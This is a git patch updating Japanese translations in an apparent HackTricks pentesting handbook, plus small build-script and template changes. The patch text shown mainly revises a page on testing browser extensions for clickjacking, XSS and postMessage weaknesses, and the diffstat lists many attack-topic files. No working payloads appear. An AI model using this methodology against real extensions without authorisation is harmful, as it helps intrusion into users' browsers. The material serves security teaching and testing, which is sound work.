From ea363e651b97d559e6c3f4c86bee701a40680b1b Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 3 Jan 2025 03:42:53 +0000 Subject: [PATCH] Translated ['.github/pull_request_template.md', 'src/1911-pentesting-fox --- .github/pull_request_template.md | 2 +- book.toml | 1 + hacktricks-preprocessor.py | 20 +- src/1911-pentesting-fox.md | 2 +- .../README.md | 102 ++++---- .../browext-clickjacking.md | 8 +- ...rowext-permissions-and-host_permissions.md | 18 +- .../browext-xss-example.md | 16 +- src/pentesting-web/cache-deception/README.md | 46 ++-- .../cache-deception/cache-poisoning-to-dos.md | 6 +- .../cache-poisoning-via-url-discrepancies.md | 12 +- .../README.md | 96 +++---- ...ypass-self-+-unsafe-inline-with-iframes.md | 2 +- .../README.md | 34 +-- src/pentesting-web/deserialization/README.md | 118 ++++----- ...er-gadgets-expandedwrapper-and-json.net.md | 12 +- ...ialization-objectinputstream-readobject.md | 4 +- ...ploiting-__viewstate-knowing-the-secret.md | 2 +- .../exploiting-__viewstate-parameter.md | 28 +- ...ava-dns-deserialization-and-gadgetprobe.md | 10 +- ...ava-transformers-to-rutime-exec-payload.md | 12 +- ...g-and-directory-interface-and-log4shell.md | 54 ++-- .../README.md | 18 +- .../client-side-prototype-pollution.md | 8 +- .../express-prototype-pollution-gadgets.md | 22 +- .../prototype-pollution-to-rce.md | 52 ++-- .../php-deserialization-+-autoload-classes.md | 26 +- .../python-yaml-deserialization.md | 12 +- src/pentesting-web/file-inclusion/README.md | 134 +++++----- ..._stream_prefer_studio-+-path-disclosure.md | 10 +- .../lfi2rce-via-eternal-waiting.md | 42 +-- .../file-inclusion/lfi2rce-via-php-filters.md | 6 +- .../file-inclusion/lfi2rce-via-phpinfo.md | 8 +- .../lfi2rce-via-segmentation-fault.md | 4 +- .../lfi2rce-via-temp-file-uploads.md | 4 +- .../file-inclusion/phar-deserialization.md | 6 +- .../via-php_session_upload_progress.md | 6 +- src/pentesting-web/file-upload/README.md | 53 ++-- .../hacking-with-cookies/README.md | 160 ++++++------ .../hacking-with-cookies/cookie-bomb.md | 6 +- .../cookie-jar-overflow.md | 4 +- .../hacking-with-cookies/cookie-tossing.md | 4 +- .../http-connection-request-smuggling.md | 4 +- .../http-request-smuggling/README.md | 100 ++++---- .../request-smuggling-in-http-2-downgrades.md | 2 +- .../http-response-smuggling-desync.md | 26 +- src/pentesting-web/iframe-traps.md | 4 +- src/pentesting-web/ldap-injection.md | 48 ++-- src/pentesting-web/login-bypass/README.md | 4 +- src/pentesting-web/nosql-injection.md | 2 +- .../oauth-to-account-takeover.md | 101 ++++---- src/pentesting-web/orm-injection.md | 18 +- src/pentesting-web/parameter-pollution.md | 22 +- src/pentesting-web/phone-number-injections.md | 2 +- .../pocs-and-polygloths-cheatsheet/README.md | 4 +- .../postmessage-vulnerabilities/README.md | 6 +- ...blocking-main-page-to-steal-postmessage.md | 10 +- .../bypassing-sop-with-iframes-1.md | 4 +- .../bypassing-sop-with-iframes-2.md | 4 +- ...l-postmessage-modifying-iframe-location.md | 4 +- .../proxy-waf-protections-bypass.md | 16 +- src/pentesting-web/race-condition.md | 62 ++--- src/pentesting-web/rate-limit-bypass.md | 8 +- .../registration-vulnerabilities.md | 4 +- ...ular-expression-denial-of-service-redos.md | 8 +- src/pentesting-web/reset-password.md | 42 +-- src/pentesting-web/reverse-tab-nabbing.md | 18 +- src/pentesting-web/saml-attacks/README.md | 58 ++--- .../saml-attacks/saml-basics.md | 12 +- ...inclusion-edge-side-inclusion-injection.md | 24 +- src/pentesting-web/sql-injection/README.md | 64 ++--- .../sql-injection/ms-access-sql-injection.md | 34 +-- .../sql-injection/mssql-injection.md | 36 +-- .../sql-injection/mysql-injection/README.md | 16 +- .../mysql-injection/mysql-ssrf.md | 4 +- .../sql-injection/oracle-injection.md | 12 +- .../postgresql-injection/README.md | 4 +- .../big-binary-files-upload-postgresql.md | 10 +- .../dblink-lo_import-data-exfiltration.md | 6 +- ...and-ntlm-chanllenge-response-disclosure.md | 12 +- .../pl-pgsql-password-bruteforce.md | 6 +- .../rce-with-postgresql-extensions.md | 24 +- .../rce-with-postgresql-languages.md | 12 +- src/pentesting-web/sql-injection/sqlmap.md | 84 +++--- .../sql-injection/sqlmap/README.md | 75 +++--- .../sqlmap/second-order-injection-sqlmap.md | 8 +- .../README.md | 38 +-- .../cloud-ssrf.md | 42 +-- .../url-format-bypass.md | 10 +- .../README.md | 52 ++-- .../el-expression-language.md | 6 +- .../jinja2-ssti.md | 22 +- src/pentesting-web/timing-attacks.md | 10 +- .../unicode-injection/README.md | 12 +- .../unicode-normalization.md | 30 +-- src/pentesting-web/uuid-insecurities.md | 16 +- src/pentesting-web/web-tool-wfuzz.md | 12 +- .../web-vulnerabilities-methodology.md | 14 +- .../web-vulnerabilities-methodology/README.md | 12 +- src/pentesting-web/websocket-attacks.md | 18 +- src/pentesting-web/xpath-injection.md | 8 +- src/pentesting-web/xs-search.md | 183 +++++++------- src/pentesting-web/xs-search/README.md | 239 +++++++++--------- .../connection-pool-by-destination-example.md | 10 +- .../xs-search/connection-pool-example.md | 20 +- .../cookie-bomb-+-onerror-xs-leak.md | 2 +- .../xs-search/css-injection/README.md | 54 ++-- .../event-loop-blocking-+-lazy-images.md | 18 +- .../xs-search/javascript-execution-xs-leak.md | 2 +- .../performance.now-+-force-heavy-task.md | 2 +- ...ble-stylesheet-language-transformations.md | 6 +- .../xss-cross-site-scripting/README.md | 106 ++++---- .../abusing-service-workers.md | 16 +- .../chrome-cache-to-xss.md | 4 +- .../dom-clobbering.md | 28 +- .../xss-cross-site-scripting/dom-invader.md | 18 +- .../xss-cross-site-scripting/dom-xss.md | 10 +- .../iframes-in-xss-and-csp.md | 2 +- .../xss-cross-site-scripting/js-hoisting.md | 8 +- .../other-js-tricks.md | 20 +- .../xss-cross-site-scripting/pdf-injection.md | 2 +- .../server-side-xss-dynamic-pdf.md | 26 +- .../xss-cross-site-scripting/shadow-dom.md | 2 +- .../xss-cross-site-scripting/sniff-leak.md | 8 +- .../some-same-origin-method-execution.md | 6 +- .../xssi-cross-site-script-inclusion.md | 16 +- .../xxe-xee-xml-external-entity.md | 68 ++--- .../escaping-from-gui-applications/README.md | 94 +++---- .../firmware-analysis/README.md | 32 +-- .../firmware-analysis/bootloader-testing.md | 6 +- .../firmware-analysis/firmware-integrity.md | 6 +- src/physical-attacks/physical-attacks.md | 8 +- .../low-power-wide-area-network.md | 2 +- .../pentesting-ble-bluetooth-low-energy.md | 6 +- src/radio-hacking/pentesting-rfid.md | 16 +- .../arbitrary-write-2-exec/aw2exec-got-plt.md | 10 +- .../aws2exec-.dtors-and-.fini_array.md | 10 +- .../README.md | 8 +- .../aslr/README.md | 8 +- .../aslr/ret2plt.md | 4 +- .../pie/README.md | 10 +- .../pie/bypassing-canary-and-pie.md | 12 +- .../relro.md | 12 +- .../stack-canaries/README.md | 14 +- .../bf-forked-stack-canaries.md | 22 +- .../stack-canaries/print-stack-canary.md | 14 +- .../common-exploiting-problems.md | 10 +- .../linux-exploiting-basic-esp/elf-tricks.md | 34 +-- .../format-strings/README.md | 14 +- .../linux-exploiting-basic-esp/one-gadget.md | 2 +- .../stack-overflow/README.md | 8 +- .../stack-overflow/pointer-redirecting.md | 6 +- .../stack-overflow/ret2csu.md | 12 +- .../stack-overflow/ret2dlresolve.md | 6 +- .../stack-overflow/ret2esp-ret2reg.md | 10 +- .../stack-overflow/ret2lib/README.md | 18 +- .../rop-leaking-libc-address/README.md | 56 ++-- .../rop-leaking-libc-template.md | 6 +- .../stack-overflow/ret2win.md | 8 +- .../rop-return-oriented-programing.md | 8 +- .../stack-overflow/rop-syscall-execv.md | 16 +- .../srop-sigreturn-oriented-programming.md | 8 +- .../stack-pivoting-ebp2ret-ebp-chaining.md | 14 +- .../stack-overflow/stack-shellcode.md | 16 +- src/reversing/common-api-used-in-malware.md | 46 ++-- .../cryptographic-algorithms/README.md | 20 +- .../unpacking-binaries.md | 19 +- .../reversing-tools-basic-methods/README.md | 60 ++--- .../angr/README.md | 4 +- .../angr/angr-examples.md | 20 +- .../blobrunner.md | 3 +- .../cheat-engine.md | 26 +- .../satisfiability-modulo-theories-smt-z3.md | 8 +- src/reversing/reversing-tools/README.md | 6 +- src/reversing/word-macros.md | 4 +- src/stego/esoteric-languages.md | 2 +- src/stego/stego-tricks.md | 34 +-- src/todo/android-forensics.md | 2 +- src/todo/cookies-policy.md | 34 +-- src/todo/hardware-hacking/README.md | 6 +- .../fault_injection_attacks.md | 4 +- src/todo/hardware-hacking/i2c.md | 6 +- src/todo/hardware-hacking/jtag.md | 10 +- src/todo/hardware-hacking/radio.md | 94 +++---- src/todo/hardware-hacking/spi.md | 12 +- src/todo/hardware-hacking/uart.md | 26 +- .../README.md | 4 +- .../modbus.md | 4 +- src/todo/interesting-http.md | 6 +- src/todo/investment-terms.md | 14 +- .../0.-basic-llm-concepts.md | 22 +- .../1.-tokenizing.md | 24 +- .../3.-token-embeddings.md | 18 +- .../4.-attention-mechanisms.md | 26 +- .../5.-llm-architecture.md | 52 ++-- .../7.0.-lora-improvements-in-fine-tuning.md | 12 +- ...7.2.-fine-tuning-to-follow-instructions.md | 34 +-- .../llm-training-data-preparation/README.md | 12 +- src/todo/misc.md | 8 +- src/todo/more-tools.md | 8 +- src/todo/online-platforms-with-api.md | 2 +- src/todo/other-web-tricks.md | 24 +- src/todo/post-exploitation.md | 2 +- .../radio-hacking/fissure-the-rf-framework.md | 30 +-- src/todo/radio-hacking/flipper-zero/README.md | 10 +- .../flipper-zero/fz-125khz-rfid.md | 4 +- .../radio-hacking/flipper-zero/fz-ibutton.md | 2 +- .../radio-hacking/flipper-zero/fz-infrared.md | 10 +- src/todo/radio-hacking/flipper-zero/fz-nfc.md | 25 +- .../radio-hacking/flipper-zero/fz-sub-ghz.md | 12 +- src/todo/radio-hacking/infrared.md | 6 +- .../low-power-wide-area-network.md | 2 +- .../pentesting-ble-bluetooth-low-energy.md | 6 +- src/todo/radio-hacking/pentesting-rfid.md | 26 +- src/todo/radio-hacking/proxmark-3.md | 6 +- src/todo/radio-hacking/sub-ghz-rf.md | 14 +- src/todo/rust-basics.md | 6 +- ...itive-information-disclosure-from-a-web.md | 2 +- src/todo/test-llms.md | 8 +- src/welcome/hacktricks-values-and-faq.md | 46 ++-- .../active-directory-methodology/README.md | 146 ++++++----- .../abusing-ad-mssql.md | 9 +- .../acl-persistence-abuse/README.md | 34 +-- .../shadow-credentials.md | 8 +- .../ad-certificates.md | 18 +- .../ad-certificates/README.md | 18 +- .../ad-certificates/account-persistence.md | 6 +- .../ad-certificates/certificate-theft.md | 32 +-- .../ad-certificates/domain-escalation.md | 85 +++---- .../ad-certificates/domain-persistence.md | 10 +- .../ad-dns-records.md | 6 +- .../ad-information-in-printers.md | 16 +- .../asreproast.md | 12 +- .../bloodhound.md | 16 +- .../constrained-delegation.md | 10 +- .../custom-ssp.md | 10 +- .../active-directory-methodology/dcshadow.md | 8 +- .../active-directory-methodology/dcsync.md | 14 +- .../diamond-ticket.md | 8 +- .../dsrm-credentials.md | 6 +- ...external-forest-domain-one-way-outbound.md | 8 +- .../external-forest-domain-oneway-inbound.md | 6 +- .../golden-ticket.md | 4 +- .../kerberoast.md | 14 +- .../kerberos-double-hop-problem.md | 10 +- .../active-directory-methodology/laps.md | 21 +- .../over-pass-the-hash-pass-the-key.md | 2 +- .../pass-the-ticket.md | 2 +- .../password-spraying.md | 10 +- .../printers-spooler-service-abuse.md | 20 +- .../privileged-groups-and-token-privileges.md | 10 +- .../rdp-sessions-abuse.md | 4 +- .../resource-based-constrained-delegation.md | 36 +-- .../security-descriptors.md | 6 +- .../sid-history-injection.md | 4 +- .../silver-ticket.md | 12 +- .../skeleton-key.md | 4 +- .../authentication-credentials-uac-and-efs.md | 28 +- .../README.md | 45 ++-- .../uac-user-account-control.md | 34 +-- src/windows-hardening/av-bypass.md | 76 +++--- .../basic-cmd-for-pentesters.md | 8 +- .../basic-powershell-for-pentesters/README.md | 10 +- .../powerview.md | 4 +- .../checklist-windows-privilege-escalation.md | 32 +-- src/windows-hardening/cobalt-strike.md | 24 +- .../lateral-movement/dcom-exec.md | 16 +- .../lateral-movement/psexec-and-winexec.md | 6 +- .../lateral-movement/smbexec.md | 2 +- .../lateral-movement/winrm.md | 2 +- .../lateral-movement/wmiexec.md | 4 +- src/windows-hardening/ntlm/README.md | 36 +-- .../ntlm/psexec-and-winexec.md | 18 +- src/windows-hardening/ntlm/smbexec.md | 4 +- src/windows-hardening/ntlm/wmiexec.md | 4 +- .../stealing-credentials/README.md | 24 +- .../credentials-mimikatz.md | 38 +-- .../credentials-protections.md | 28 +- .../stealing-credentials/wts-impersonator.md | 6 +- .../README.md | 202 +++++++-------- .../access-tokens.md | 24 +- .../acls-dacls-sacls-aces.md | 134 +++++----- ...ectory-permission-over-service-registry.md | 4 +- .../com-hijacking.md | 2 +- .../create-msi-with-wix.md | 6 +- .../dll-hijacking.md | 34 +-- .../dll-hijacking/README.md | 61 ++--- ...ritable-sys-path-+dll-hijacking-privesc.md | 38 +-- .../dpapi-extracting-passwords.md | 6 +- .../integrity-levels.md | 10 +- .../juicypotato.md | 8 +- .../leaked-handle-exploitation.md | 14 +- .../privilege-escalation-abusing-tokens.md | 12 +- .../README.md | 30 +-- ...vilege-escalation-with-autorun-binaries.md | 18 +- .../roguepotato-and-printspoofer.md | 2 +- .../sedebug-+-seimpersonate-copy-token.md | 2 +- .../seimpersonate-from-high-to-system.md | 14 +- .../uac-user-account-control.md | 70 ++--- theme/book.js | 55 ++++ theme/css/chrome.css | 52 +++- theme/index.hbs | 78 ++++-- theme/sponsor.js | 2 - 303 files changed, 3500 insertions(+), 3343 deletions(-) diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index f856a1769..ef58dfa84 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -1,4 +1,4 @@ ## 帰属 -私たちはあなたの知識を重視し、コンテンツの共有を奨励します。アップロードするコンテンツは、あなた自身のものであるか、元の著者から共有の許可を得ていることを確認してください（追加したテキスト内または修正しているページの最後に著者への参照を追加するか、またはその両方）。知的財産権へのあなたの尊重は、誰にとっても信頼できる合法的な共有環境を育みます。 +私たちはあなたの知識を重視し、コンテンツの共有を奨励します。必ず、自分が所有しているコンテンツまたは元の著者から共有の許可を得ているコンテンツのみをアップロードしてください（追加したテキスト内または修正しているページの最後に著者への参照を追加すること）。知的財産権へのあなたの尊重は、誰にとっても信頼できる合法的な共有環境を育みます。 HackTricksへの貢献ありがとうございます！ diff --git a/book.toml b/book.toml index 55f8eeb4f..3d588387c 100644 --- a/book.toml +++ b/book.toml @@ -22,6 +22,7 @@ after = ["links"] [preprocessor.hacktricks] command = "python3 ./hacktricks-preprocessor.py" +env = "prod" [output.html] additional-css = ["theme/pagetoc.css", "theme/tabs.css"] diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py index 37f549101..fedfdef99 100644 --- a/hacktricks-preprocessor.py +++ b/hacktricks-preprocessor.py @@ -30,14 +30,16 @@ def ref(matchobj): href = matchobj.groups(0)[0].strip() title = href if href.startswith("http://") or href.startswith("https://"): - # pass - try: - raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read()) - match = re.search('(.*?)', raw_html) - title = match.group(1) if match else href - except Exception as e: - logger.debug(f'Error opening URL {href}: {e}') - pass #nDont stop on broken link + if context['config']['preprocessor']['hacktricks']['env'] == 'dev': + pass + else: + try: + raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read()) + match = re.search('(.*?)', raw_html) + title = match.group(1) if match else href + except Exception as e: + logger.debug(f'Error opening URL {href}: {e}') + pass #nDont stop on broken link else: try: if href.endswith("/"): @@ -90,7 +92,7 @@ if __name__ == '__main__': context, book = json.load(sys.stdin) logger.debug(f"Context: {context}") - + logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}") for chapter in iterate_chapters(book['sections']): logger.debug(f"Chapter: {chapter['path']}") diff --git a/src/1911-pentesting-fox.md b/src/1911-pentesting-fox.md index 5f4d7a01c..357aabb69 100644 --- a/src/1911-pentesting-fox.md +++ b/src/1911-pentesting-fox.md @@ -12,7 +12,7 @@ dht udp "DHT Nodes" ![]() -![]() +![]() InfluxDB diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md index ef14f2617..6968e5277 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -8,7 +8,7 @@ ## 主なコンポーネント -拡張機能のレイアウトは視覚化すると最も良く見え、3つのコンポーネントで構成されています。それぞれのコンポーネントを詳しく見ていきましょう。 +拡張機能のレイアウトは視覚化されると最も良く見え、3つのコンポーネントで構成されています。それぞれのコンポーネントを詳しく見ていきましょう。

http://webblaze.cs.berkeley.edu/papers/Extensions.pdf

@@ -18,7 +18,7 @@ ### **拡張機能コア** -拡張機能コアは、ほとんどの拡張機能の特権/アクセスを含んでいますが、拡張機能コアは[XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest)とコンテンツスクリプトを介してのみウェブコンテンツと相互作用できます。また、拡張機能コアはホストマシンに直接アクセスすることはできません。 +拡張機能コアは、ほとんどの拡張機能の特権/アクセスを含んでいますが、拡張機能コアは[XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest)およびコンテンツスクリプトを介してのみウェブコンテンツと相互作用できます。また、拡張機能コアはホストマシンに直接アクセスすることはできません。 ### **ネイティブバイナリ** @@ -31,7 +31,7 @@ 拡張機能の各コンポーネントは、**強力な保護境界**によって互いに分離されています。各コンポーネントは**別々のオペレーティングシステムプロセス**で実行されます。コンテンツスクリプトと拡張機能コアは、ほとんどのオペレーティングシステムサービスに利用できない**サンドボックスプロセス**で実行されます。 -さらに、コンテンツスクリプトは**別のJavaScriptヒープ**で実行されることによって、関連するウェブページから分離されています。コンテンツスクリプトとウェブページは**同じ基盤となるDOM**にアクセスできますが、2つは**JavaScriptポインタを交換することは決してありません**。これにより、JavaScript機能の漏洩が防止されます。 +さらに、コンテンツスクリプトは**別のJavaScriptヒープ**で実行されることによって、関連するウェブページから分離されています。コンテンツスクリプトとウェブページは**同じ基盤となるDOM**にアクセスできますが、2つは**JavaScriptポインタを交換することは決してありません**。これにより、JavaScript機能の漏洩を防ぎます。 ## **`manifest.json`** @@ -91,7 +91,7 @@ document.body.appendChild(div) ```
-このボタンがクリックされると、コンテンツスクリプトによって拡張ページにメッセージが送信されます。これは、[**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)を利用するためです。コンテンツスクリプトはAPIへの直接アクセスに制限があり、`storage`が数少ない例外の一つです。これらの例外を超える機能については、メッセージが拡張ページに送信され、コンテンツスクリプトが通信できるようになります。 +このボタンがクリックされると、コンテンツスクリプトによって拡張ページにメッセージが送信されます。これは、[**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)を利用するためです。これは、コンテンツスクリプトがAPIに直接アクセスする制限があるためで、`storage`が数少ない例外の一つです。これらの例外を超える機能については、メッセージが拡張ページに送信され、コンテンツスクリプトが通信できるようになります。 > [!WARNING] > ブラウザによって、コンテンツスクリプトの機能は若干異なる場合があります。Chromiumベースのブラウザの場合、機能リストは[Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities)で入手可能で、Firefoxの場合は[MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis)が主な情報源となります。\ @@ -104,9 +104,9 @@ Chromeでコンテンツスクリプトを表示およびデバッグするに ### 注入されたコンテンツスクリプト > [!TIP] -> **コンテンツスクリプトは必須ではない**ことに注意してください。**動的に**スクリプトを**注入**したり、**プログラム的に注入**することも可能です。これは実際により**詳細な制御**を提供します。 +> **コンテンツスクリプトは必須ではない**ことに注意してください。**動的に**スクリプトを**注入**したり、**プログラム的に注入**することも可能です。これは、**`tabs.executeScript`**を介してウェブページに行います。これにより、より**詳細な制御**が提供されます。 -コンテンツスクリプトをプログラム的に注入するには、拡張機能がスクリプトを注入するページに対して[ホスト権限](https://developer.chrome.com/docs/extensions/reference/permissions)を持っている必要があります。これらの権限は、拡張機能のマニフェスト内で**要求する**か、[**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)を通じて一時的に取得することができます。 +コンテンツスクリプトをプログラム的に注入するには、拡張機能がスクリプトを注入するページに対して[ホスト権限](https://developer.chrome.com/docs/extensions/reference/permissions)を持っている必要があります。これらの権限は、拡張機能のマニフェスト内で**要求する**か、[**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)を介して一時的に取得することができます。 #### activeTabベースの拡張機能の例 ```json:manifest.json @@ -210,14 +210,14 @@ js: ["contentScript.js"], コンテンツスクリプトによって送信されたメッセージは、**background page**によって受信され、拡張機能のコンポーネントを調整する中心的な役割を果たします。特に、background pageは拡張機能のライフタイムを通じて持続し、ユーザーの直接的な操作なしに静かに動作します。独自のDocument Object Model (DOM)を持ち、複雑な相互作用と状態管理を可能にします。 -**主なポイント**: +**重要なポイント**: - **Background Pageの役割:** 拡張機能の神経中枢として機能し、拡張機能のさまざまな部分間の通信と調整を確保します。 - **持続性:** ユーザーには見えないが、拡張機能の機能に不可欠な常に存在するエンティティです。 - **自動生成:** 明示的に定義されていない場合、ブラウザは自動的にbackground pageを作成します。この自動生成されたページには、拡張機能のマニフェストに指定されたすべてのバックグラウンドスクリプトが含まれ、拡張機能のバックグラウンドタスクのシームレスな操作を確保します。 > [!TIP] -> 明示的に宣言されていない場合にブラウザがbackground pageを自動生成することによって提供される便利さは、すべての必要なバックグラウンドスクリプトが統合され、機能することを保証し、拡張機能のセットアッププロセスを簡素化します。 +> 明示的に宣言されていない場合にブラウザが自動的にbackground pageを生成することによって提供される便利さは、すべての必要なバックグラウンドスクリプトが統合され、機能することを保証し、拡張機能のセットアッププロセスを簡素化します。 Example background script: ```js @@ -239,18 +239,18 @@ chrome.tabs.create({ url: "https://example.net/explanation" }) - **アクションページ**は、**拡張機能のアイコン**がクリックされたときにドロップダウンで表示されます。 - 拡張機能が**新しいタブで読み込む**ページ。 -- **オプションページ**：このページはクリックすると拡張機能の上に表示されます。前のマニフェストでは、`chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca`でこのページにアクセスできました。または、クリックして： +- **オプションページ**：このページはクリックすると拡張機能の上に表示されます。前のマニフェストでは、`chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca`でこのページにアクセスできました。または、クリックすることで：
これらのページは、必要に応じて動的にコンテンツを読み込むため、バックグラウンドページのように永続的ではないことに注意してください。それにもかかわらず、これらはバックグラウンドページと特定の機能を共有します： - **コンテンツスクリプトとの通信**：バックグラウンドページと同様に、これらのページはコンテンツスクリプトからメッセージを受信でき、拡張機能内での相互作用を促進します。 -- **拡張機能固有のAPIへのアクセス**：これらのページは、拡張機能に対して定義された権限に従って、拡張機能固有のAPIへの包括的なアクセスを享受します。 +- **拡張機能固有のAPIへのアクセス**：これらのページは、拡張機能に定義された権限に従って、拡張機能固有のAPIへの包括的なアクセスを享受します。 ### `permissions` & `host_permissions` -**`permissions`**と**`host_permissions`**は、`manifest.json`のエントリで、**ブラウザ拡張機能がどの権限**（ストレージ、位置情報など）を持っているか、**どのウェブページ**であるかを示します。 +**`permissions`**と**`host_permissions`**は、拡張機能が持つ**どの権限**（ストレージ、位置情報など）と**どのウェブページ**であるかを示す`manifest.json`のエントリです。 ブラウザ拡張機能は非常に**特権的**であるため、悪意のあるものや侵害されたものは、攻撃者に**機密情報を盗んだりユーザーを監視したりするためのさまざまな手段を提供する可能性があります**。 @@ -305,7 +305,7 @@ chrome-extension:///message.html ただし、`manifest.json`パラメータ**`use_dynamic_url`**が使用されている場合、この**idは動的**になる可能性があります。 > [!TIP] -> ここにページが記載されていても、**Content Security Policy**のおかげで**ClickJacking**から**保護されている**可能性があることに注意してください。したがって、ClickJacking攻撃が可能かどうかを確認する前に、それをチェックする必要があります（frame-ancestorsセクション）。 +> ここにページが記載されていても、**Content Security Policy**のおかげで**ClickJacking**から**保護されている**可能性があることに注意してください。したがって、ClickJacking攻撃が可能かどうかを確認する前に、これをチェックする必要があります（frame-ancestorsセクション）。 これらのページにアクセスできることは、これらのページが**潜在的に脆弱なClickJacking**であることを意味します： @@ -314,7 +314,7 @@ browext-clickjacking.md {{#endref}} > [!TIP] -> これらのページが拡張機能によってのみ読み込まれ、ランダムなURLによっては読み込まれないようにすることで、ClickJacking攻撃を防ぐことができます。 +> これらのページが拡張機能によってのみ読み込まれ、ランダムなURLからは読み込まれないようにすることで、ClickJacking攻撃を防ぐことができます。 > [!CAUTION] > **`web_accessible_resources`**からのページや拡張機能の他のページも**バックグラウンドスクリプトに連絡する**ことができることに注意してください。したがって、これらのページのいずれかが**XSS**に対して脆弱である場合、より大きな脆弱性を引き起こす可能性があります。 @@ -391,9 +391,9 @@ console.log("Content script received message from background script:", msg) 特定のタブにあるコンテンツスクリプトにメッセージを送信することも可能で、**`chrome.tabs.sendMessage`**を呼び出す際にメッセージを送信する**タブのID**を指定する必要があります。 -### 許可された `externally_connectable` から拡張機能へ +### 許可された`externally_connectable`から拡張機能へ -`externally_connectable` 設定で許可された**Webアプリと外部ブラウザ拡張機能**は、リクエストを送信できます： +`externally_connectable`設定で許可された**Webアプリと外部ブラウザ拡張機能**は、リクエストを送信できます： ```javascript chrome.runtime.sendMessage(extensionId, ... ``` @@ -413,7 +413,7 @@ console.log("Received " + response) ``` ## Web **↔︎** コンテンツスクリプト通信 -**コンテンツスクリプト**が動作する環境とホストページが存在する環境は**分離**されており、**隔離**が確保されています。この隔離にもかかわらず、両者はページの**ドキュメントオブジェクトモデル (DOM)**にアクセスできる能力を持ち、これは共有リソースです。ホストページが**コンテンツスクリプト**と通信するため、またはコンテンツスクリプトを介して拡張機能と間接的に通信するためには、両者がアクセス可能な**DOM**を通信チャネルとして利用する必要があります。 +**コンテンツスクリプト**が動作する環境とホストページが存在する環境は**分離**されており、**隔離**が確保されています。この隔離にもかかわらず、両者はページの**ドキュメントオブジェクトモデル (DOM)**、つまり共有リソースと相互作用する能力を持っています。ホストページが**コンテンツスクリプト**と通信する、またはコンテンツスクリプトを介して拡張機能と間接的に通信するためには、両者がアクセス可能な**DOM**を通信チャネルとして利用する必要があります。 ### ポストメッセージ ```javascript:content-script.js @@ -452,11 +452,11 @@ false ``` 安全なPost Message通信は、受信したメッセージの信頼性を確認する必要があります。これは以下を確認することで行えます： -- **`event.isTrusted`**: これは、イベントがユーザーのアクションによってトリガーされた場合にのみTrueになります。 +- **`event.isTrusted`**: これは、イベントがユーザーのアクションによってトリガーされた場合のみTrueになります。 - コンテンツスクリプトは、ユーザーが何らかのアクションを実行した場合にのみメッセージを期待するかもしれません。 -- **origin domain**: メッセージを期待する場合は、許可リストのドメインのみを許可する必要があります。 -- 正規表現を使用する場合は、非常に注意が必要です。 -- **Source**: `received_message.source !== window`を使用して、メッセージが**コンテンツスクリプトがリスニングしている同じウィンドウ**からのものであるかどうかを確認できます。 +- **origin domain**: メッセージを期待する場合は、許可リストのドメインのみを許可するかもしれません。 +- 正規表現が使用される場合は、非常に注意が必要です。 +- **Source**: `received_message.source !== window`を使用して、メッセージが**コンテンツスクリプトがリスニングしている同じウィンドウから**のものであるかを確認できます。 前述のチェックは、実施されていても脆弱である可能性があるため、次のページで**潜在的なPost Messageバイパス**を確認してください： @@ -466,7 +466,7 @@ false ### Iframe -別の通信方法として**Iframe URLs**を通じて行うことが考えられます。例は以下にあります： +別の通信方法としては、**Iframe URLs**を通じて行うことが考えられます。例は以下にあります： {{#ref}} browext-xss-example.md @@ -509,7 +509,7 @@ const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" }) console.log(response) })() ``` -**受信側**では、メッセージを処理するために[**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **イベントリスナー**を設定する必要があります。これは、コンテンツスクリプトまたは拡張ページから見ると同じように見えます。 +受信側では、メッセージを処理するために[**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **イベントリスナー**を設定する必要があります。これは、コンテンツスクリプトまたは拡張ページから見ると同じように見えます。 ```javascript // From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) { @@ -529,7 +529,7 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" }) ## ネイティブメッセージング -ブラウザ拡張機能は、**システム内のバイナリと stdin 経由で通信することも可能です**。アプリケーションは、次のような json でそれを示す json をインストールする必要があります: +ブラウザ拡張機能は、**stdinを介してシステム内のバイナリと通信することも可能です**。アプリケーションは、これを示すjsonをインストールする必要があります。 ```json { "name": "com.my_company.my_application", @@ -539,12 +539,12 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" }) "allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"] } ``` -`name` は [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) または [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) 